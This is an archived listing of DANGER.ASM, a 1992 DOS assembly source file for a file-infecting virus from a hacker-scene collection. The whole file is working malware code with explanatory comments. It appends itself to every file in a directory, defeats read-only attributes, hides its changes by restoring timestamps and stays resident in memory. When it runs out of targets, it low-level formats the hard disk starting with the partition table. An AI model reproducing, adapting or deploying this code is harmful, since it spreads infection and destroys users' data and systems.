home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DANGER.ASM < prev    next >
Assembly Source File  |  1992-08-30  |  14KB  |  284 lines

  1. ;This program is a virus that infects all files, not just executables. It gets
  2. ;the first five bytes of its host and stores them elsewhere in the program and
  3. ;puts a jump to it at the start, along with the letters "GR", which are used to
  4. ;by the virus to identify an already infected program. The virus also save
  5. ;target file attributes and restores them on exit, so that date & time stamps
  6. ;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants.
  7. ;when it runs out of philes to infect, it will do a low-level format of the HDD
  8. ;starting with the partition table.
  9.  
  10. MAIN    SEGMENT BYTE
  11.         ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
  12.  
  13.         ORG     100H
  14.  
  15. ;This is a shell of a program which will release the virus into the system.
  16. ;All it does is jump to the virus routine, which does its job and returns to
  17. ;it, at which point it terminates to DOS.
  18.  
  19. HOST:
  20.         jmp     NEAR PTR VIRUS_START            ;Note: MASM is too stupid to assemble this correctly
  21.         db      'GR'
  22.         mov     ah,4CH
  23.         mov     al,0
  24.         int     21H             ;terminate normally with DOS
  25.  
  26. VIRUS:                          ;this is a label for the first byte of the virus
  27.  
  28. COMFILE DB      '*.*',0       ;search string for any file
  29. DSTRY   DB      0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2  
  30. FATTR   DB      0
  31. FTIME   DW      0
  32. FDATE   DW      0
  33.  
  34. VIRUS_START:
  35.         call    GET_START       ;get start address - this is a trick to determine the location of the start of this program
  36. GET_START:                      ;put the address of GET_START on the stack with the call,
  37.         sub     WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS  ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
  38.         mov     dx,OFFSET DTA   ;put DTA at the end of the virus for now
  39.         mov     ah,1AH          ;set new DTA function
  40.         int     21H
  41.         call    FIND_FILE       ;get a file to attack
  42.         jnz     DESTROY         ;returned nz - go to destroy routine
  43.         call    SAV_ATTRIB
  44.         call    INFECT          ;have a good file to use - infect it
  45.         call    REST_ATTRIB
  46. EXIT_VIRUS:
  47.         mov     dx,80H          ;fix the DTA so that the host program doesn't
  48.         mov     ah,1AH          ;get confused and write over its data with
  49.         int     21H             ;file i/o or something like that!
  50.         mov     bx,[VIR_START]                          ;get the start address of the virus
  51.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)]         ;restore the 5 original bytes
  52.         mov     WORD PTR [HOST],ax                                          ;of the COM file to their
  53.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2]       ;to the start of the file
  54.         mov     WORD PTR [HOST+2],ax
  55.         mov     al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]       ;to the start of the file
  56.         mov     BYTE PTR [HOST+4],al
  57.         mov     [VIR_START],100H                        ;set up stack to do return to host program
  58.         ret                                             ;and return to host
  59.  
  60. START_CODE:                     ;move first 5 bytes from host program to here
  61.         nop                     ;nop's for the original assembly code
  62.         nop                     ;will work fine
  63.         nop
  64.         nop
  65.         nop
  66.  
  67. ;--------------------------------------------------------------------------
  68. DESTROY:
  69.        mov     AH,05H                  ;format hard disk starting at sector
  70.        mov     DL,80H                  ;0 and continuing through sector 16
  71.        mov     DH,0H                   ;this should wipe out the master boot
  72.        mov     CX,0000H                ;record & partition table
  73.  
  74.  
  75.        mov     AL,11H                 ;low-level format information stored
  76.        mov     BX,OFFSET DSTRY        ;at this OFFSET in the syntax 1,2,3,4,
  77.        int     13H                    ;where 1=track number,2=head number,3=sector number
  78.                                       ;and 4=bytes/sector with 2=512 bytes/sector
  79.        ret
  80. ;---------------------------------------------------------------------------
  81. ;---------------------------------------------------------------------------
  82.  
  83.        
  84. ;-----------------------------------------------------------------------------
  85. ;Find a file which passes FILE_OK
  86. ;
  87. ;This routine does a simple directory search to find a COM file in the
  88. ;current directory, to find a file for which FILE_OK returns with C reset.
  89. ;
  90. FIND_FILE:
  91.         mov     dx,[VIR_START]
  92.         add     dx,OFFSET COMFILE - OFFSET VIRUS        ;this is zero here, so omit it
  93.         mov     cx,3FH          ;search for any file, no matter what the attributes
  94.         mov     ah,4EH          ;do DOS search first function
  95.         int     21H
  96. FF_LOOP:
  97.         or      al,al           ;is DOS return OK?
  98.         jnz     FF_DONE         ;no - quit with Z reset
  99.         call    FILE_OK         ;return ok - is this a good file to use?
  100.         jz      FF_DONE         ;yes - valid file found - exit with z set
  101.         mov     ah,4FH          ;not a valid file, so
  102.         int     21H             ;do find next function
  103.         jmp     FF_LOOP         ;and go test next file for validity
  104. FF_DONE:
  105.         ret
  106.  
  107.  
  108. ;--------------------------------------------------------------------------
  109. ;Function to determine whether the file specified in FNAME is useable.
  110. ;if so return z, else return nz.
  111. ;What makes a phile useable?:
  112. ;              a) There must be space for the virus without exceeding the
  113. ;                 64 KByte file size limit.
  114. ;              b) Bytes 0, 3 and 4 of the file are not a near jump op code,
  115. ;                 and 'G', 'R', respectively
  116. ;
  117. FILE_OK:
  118.         mov     ah,43H                               ;the beginning of this
  119.         mov     al,0                                 ;routine gets the file's
  120.         mov     dx,OFFSET FNAME                      ;attribute and changes it
  121.         int     21H                                  ;to r/w access so that when
  122.         mov     [FATTR],cl                           ;it comes time to open the
  123.         mov     ah,43H                               ;file, the virus can easily
  124.         mov     al,1                                 ;defeat files with a 'read only'
  125.         mov     dx,OFFSET FNAME                      ;attribute. It leaves the file r/w,
  126.         mov     cl,0                                 ;because who checks that, anyway?
  127.         int     21H
  128.         mov     dx,OFFSET FNAME
  129.         mov     al,2
  130.         mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
  131.         int     21H
  132.         jc      FOK_NZEND                               ;error opening file - quit and say this file can't be used (probably won't happen)
  133.         mov     bx,ax                                   ;put file handle in bx
  134.         push    bx                                      ;and save it on the stack
  135.         mov     cx,5                                    ;next read 5 bytes at the start of the program
  136.         mov     dx,OFFSET START_IMAGE                   ;and store them here
  137.         mov     ah,3FH                                  ;DOS read function
  138.         int     21H
  139.  
  140.         pop     bx                                      ;restore the file handle
  141.         mov     ah,3EH
  142.         int     21H                                     ;and close the file
  143.  
  144.         mov     ax,WORD PTR [FSIZE]                     ;get the file size of the host
  145.         add     ax,OFFSET ENDVIRUS - OFFSET VIRUS       ;and add the size of the virus to it
  146.         jc      FOK_NZEND                               ;c set if ax overflows, which will happen if size goes above 64K
  147.         cmp     BYTE PTR [START_IMAGE],0E9H             ;size ok - is first byte a near jump op code?
  148.         jnz     FOK_ZEND                                ;not a near jump, file must be ok, exit with z set
  149.         cmp     WORD PTR [START_IMAGE+3],5247H          ;ok, is 'GR' in positions 3 & 4?
  150.         jnz     FOK_ZEND                                ;no, file can be infected, return with Z set
  151. FOK_NZEND:
  152.         mov     al,1                                    ;we'd better not infect this file
  153.         or      al,al                                   ;so return with z reset
  154.         ret
  155. FOK_ZEND:
  156.         xor     al,al                                   ;ok to infect, return with z set
  157.         ret
  158.  
  159. ;--------------------------------------------------------------------------
  160. SAV_ATTRIB:
  161.         mov     ah,43H
  162.         mov     al,0
  163.         mov     dx,OFFSET FNAME
  164.         int     21H
  165.         mov     [FATTR],cl
  166.         mov     ah,43H
  167.         mov     al,1
  168.         mov     dx, OFFSET FNAME
  169.         mov     cl,0
  170.         int     21H
  171.         mov     dx,OFFSET FNAME
  172.         mov     al,2
  173.         mov     ah,3DH
  174.         int     21H
  175.         mov     [HANDLE],ax
  176.         mov     ah,57H
  177.         xor     al,al
  178.         mov     bx,[HANDLE]
  179.         int     21H
  180.         mov     [FTIME],cx
  181.         mov     [FDATE],dx
  182.         mov     ax,WORD PTR [DTA+28]
  183.         mov     WORD PTR [FSIZE+2],ax
  184.         mov     ax,WORD PTR [DTA+26]
  185.         mov     WORD PTR [FSIZE],ax
  186.         ret
  187. ;------------------------------------------------------------------
  188. REST_ATTRIB:
  189.        mov     dx,[FDATE]
  190.        mov     cx, [FTIME]
  191.        mov     ah,57H
  192.        mov     al,1
  193.        mov     bx,[HANDLE]
  194.        int     21H
  195.        mov     ah,3EH
  196.        mov     bx,[HANDLE]
  197.        int     21H
  198.        mov     cl,[FATTR]
  199.        xor     ch,ch
  200.        mov     ah,43H
  201.        mov     al,1
  202.        mov     dx,OFFSET FNAME
  203.        int     21H
  204.        
  205.        mov     ah,31H                   ;terminate/stay resident
  206.        mov     al,0                     ;and set aside 50 16-byte
  207.        mov     dx,0032H                 ;pages in memory, just
  208.        int     21H                      ;to complicate things for the user
  209.                                         ;they might not notice this too quick!
  210.        ret
  211. ;---------------------------------------------------------------------------
  212. ;This routine moves the virus (this program) to the end of the file
  213. ;Basically, it just copies everything here to there, and then goes and
  214. ;adjusts the 5 bytes at the start of the program and the five bytes stored
  215. ;in memory.
  216. ;
  217. INFECT:
  218.         xor     cx,cx                                   ;prepare to write virus on new file; positon file pointer
  219.         mov     dx,cx                                   ;cx:dx pointer = 0
  220.         mov     bx,WORD PTR [HANDLE]
  221.         mov     ax,4202H                                ;locate pointer to end DOS function
  222.         int     21H
  223.  
  224.         mov     cx,OFFSET FINAL - OFFSET VIRUS          ;now write the virus; cx=number of bytes to write
  225.         mov     dx,[VIR_START]                          ;ds:dx = place in memory to write from
  226.         mov     bx,WORD PTR [HANDLE]                    ;bx = file handle
  227.         mov     ah,40H                                  ;DOS write function
  228.         int     21H
  229.  
  230.         xor     cx,cx                                   ;now we have to go save the 5 bytes which came from the start of the
  231.         mov     dx,WORD PTR [FSIZE]                     ;so position the file pointer
  232.         add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is in the new virus
  233.         mov     bx,WORD PTR [HANDLE]
  234.         mov     ax,4200H                                ;and use DOS to position the file pointer
  235.         int     21H
  236.  
  237.         mov     cx,5                                    ;now go write START_CODE in the file
  238.         mov     bx,WORD PTR [HANDLE]                    ;get file handle
  239.         mov     dx,OFFSET START_IMAGE                   ;during the FILE_OK function above
  240.         mov     ah,40H
  241.         int     21H
  242.  
  243.         xor     cx,cx                                   ;now go back to the start of host program
  244.         mov     dx,cx                                   ;so we can put the jump to the virus in
  245.         mov     bx,WORD PTR [HANDLE]
  246.         mov     ax,4200H                                ;locate file pointer function
  247.         int     21H
  248.  
  249.         mov     bx,[VIR_START]                          ;calculate jump location for start of code
  250.         mov     BYTE PTR [START_IMAGE],0E9H             ;first the near jump op code E9
  251.         mov     ax,WORD PTR [FSIZE]                     ;and then the relative address
  252.         add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3    ;these go in the START_IMAGE area
  253.         mov     WORD PTR [START_IMAGE+1],ax
  254.         mov     WORD PTR [START_IMAGE+3],5247H          ;and put 'GR' ID code in
  255.  
  256.         mov     cx,5                                    ;ok, now go write the 5 bytes we just put in START_IMAGE
  257.         mov     dx,OFFSET START_IMAGE                   ;ds:dx = pointer to START_IMAGE
  258.         mov     bx,WORD PTR [HANDLE]                    ;file handle
  259.         mov     ah,40H                                  ;DOS write function
  260.         int     21H
  261.         
  262.         ret                             ;all done, the virus is transferred
  263.  
  264. FINAL:                                  ;label for last byte of code to be kept in virus when it moves
  265.  
  266. ENDVIRUS        EQU     $ + 212         ;label for determining space needed by virus
  267.                                         ;Note: 212 = FFFF - FF2A - 1 = size of data space
  268.                                         ;      $ gives approximate size of code required for virus
  269.  
  270.         ORG     0FF2AH
  271.  
  272. DTA             DB      1AH dup (?)             ;this is a work area for the search function
  273. FSIZE           DW      0,0                     ;file size storage area
  274. FNAME           DB      13 dup (?)              ;area for file path
  275. HANDLE          DW      0                       ;file handle
  276. START_IMAGE     DB      0,0,0,0,0               ;an area to store 3 bytes for reading and writing to file
  277. VSTACK          DW      50H dup (?)             ;stack for the virus program
  278. VIR_START       DW      (?)                     ;start address of VIRUS (overlays the stack)
  279.  
  280.  
  281. MAIN    ENDS
  282.  
  283.  
  284.         END HOST